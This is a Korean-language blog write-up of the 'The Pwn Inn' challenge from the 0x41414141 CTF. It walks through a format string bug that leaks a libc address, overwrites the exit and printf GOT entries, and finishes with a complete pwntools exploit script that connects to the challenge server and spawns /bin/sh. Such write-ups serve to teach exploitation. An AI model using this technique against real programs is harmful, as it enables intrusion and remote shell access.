ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [0x41414141 CTF] The Pwn Inn
    CTF/WRITEUP 2021. 1. 30. 23:55

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        int64_t iVar1;
        int64_t in_FS_OFFSET;
        int64_t canary;
        
        iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28);
        ignore_me_init_buffering();
        ignore_me_init_signal();
        puts("Welcome to the pwn inn! We hope that you enjoy your stay. What\'s your name? ");
        vuln();
        if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        // WARNING: Subroutine does not return
            __stack_chk_fail();
        }
        return 0;
    }
    undefined8 vuln(void)
    {
        int64_t iVar1;
        int64_t in_FS_OFFSET;
        char *format;
        int64_t var_8h;
        
        var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
        fgets(&format, 0x100, _reloc.stdin);
        printf("Welcome ");
        printf(&format);
        exit(1);
    }

    vuln 함수에서 fgets와 printf를 연이어 호출해서 포맷 스트링 버그가 발생한다.

     

    NX, Canary Enabled

    NX가 걸려있으므로 return-to-libc를 목표로 공격을 진행해 보자.

    Libc address leak


    __libc_start_main

    libc-2.31에서는 main 함수의 return address가 <__libc_start_main+243>으로 정해져 있다. 따라서 printf를 이용해 이를 leak하면 라이브러리 주소를 구할 수 있다.

     

    vuln에서 main의 return address까지의 offset을 계산해 payload를 구성해 주면 다음과 같다.

    payload = b"%45$lxAA"
    p.send(payload)
    
    __libc_start_main = int(p.recv(12), 16) - 243
    libc = __libc_start_main - l.symbols["__libc_start_main"]
    
    log.info("libc : " + hex(libc))

    FSB


    그러나 이대로면 exit를 만나 프로세스가 종료될 것이므로 공격을 진행하기 위해 main이나 vuln을 다시 호출할 필요가 있다. 포맷 스트링 버그를 이용해 exit의 got를 main으로 덮어쓰는 payload를 덧붙여하자.

    def send_payload(payload):
    	log.info("payload = %s" % repr(payload))
    	p.sendline(payload)
    
    f = FmtStr(send_payload, offset = 7, numbwritten = 14)
    f.write(exit_got, main)
    f.execute_writes()

    위에서 주소 12바이트에 더해 "AA"가 출력되므로 numbwritten은 14고, format의 처음 여섯 개 인자가 rsi, rdx, rcx, r8, r9, rsp이고 이어붙일 payload가 rsp+8부터 시작하므로 offset은 7이다.

     

    main이 다시 실행되었으므로 알아낸 libc base address를 이용해 공격을 진행할 수 있다.

    Return-to-libc


    쉘을 얻기 위해서는 다양한 방법이 있겠지만, 우선 system("/bin/sh")를 목표로 하자. 원하는 함수의 got를 system으로 덮고 rdi에 "/bin/sh"를 넣은 채 실행하면 될 것이므로, rdi를 컨트롤하기 쉬운 printf를 이용할 것이다.

    f = FmtStr(send_payload, offset = 6)
    f.write(printf_got, system)
    f.execute_writes()

    이번에는 payload 앞에 따로 출력할 내용이 없으므로 offset은 6이고 numbwritten도 설정할 필요 없다. 이대로 실행하면 printf의 got을 덮어쓴 뒤 다시 main이 호출된다.

     

    fgets에서 format에 문자열을 입력받고, 이를 인자로 printf가 실행된다. 우리가 원하는 것은 system("/bin/sh")이므로 입력으로 "/bin/sh\x00"을 넣어주면 printf에서 system이 실행되면서 쉘을 취득할 수 있다. 

     

    Code

    더보기
    from pwn import *
    
    binary = "./the_pwn_inn"
    lib = "/lib/x86_64-linux-gnu/libc-2.31.so"
    server = "161.97.176.150"
    port = 2626
    
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    l = ELF(lib)
    
    def send_payload(payload):
    	log.info("payload = %s" % repr(payload))
    	p.sendline(payload)
    
    exit_got = e.got["exit"]
    printf_got = e.got["printf"]
    main = e.symbols["main"]
    
    p.recvuntil("? \n")
    
    payload = b"%45$lxAA"
    p.send(payload)
    
    f = FmtStr(send_payload, offset = 7, numbwritten = 14)
    f.write(exit_got, main)
    f.execute_writes()
    
    p.recvuntil("Welcome ")
    
    __libc_start_main = int(p.recv(12), 16) - 243
    libc = __libc_start_main - l.symbols["__libc_start_main"]
    system = libc + l.symbols["system"]
    
    log.info("libc : " + hex(libc))
    
    f = FmtStr(send_payload, offset = 6)
    f.write(printf_got, system)
    f.execute_writes()
    
    payload = "/bin/sh\x00"
    p.sendline(payload)
    
    p.interactive()

    Flag

    flag{GOTt4_b3_OVERWRITEing_th0s3_symb0ls_742837423}

    'CTF > WRITEUP' 카테고리의 다른 글

    [0x41414141 CTF] Faking till you're Making  (0) 2021.02.02
    [0x41414141 CTF] Moving signals  (0) 2021.02.02
    [0x41414141 CTF] echo  (0) 2021.02.02
    [0x41414141 CTF] Return Of The ROPs  (0) 2021.02.02
    [0x41414141 CTF] external  (0) 2021.01.27

    댓글

Designed by Tistory.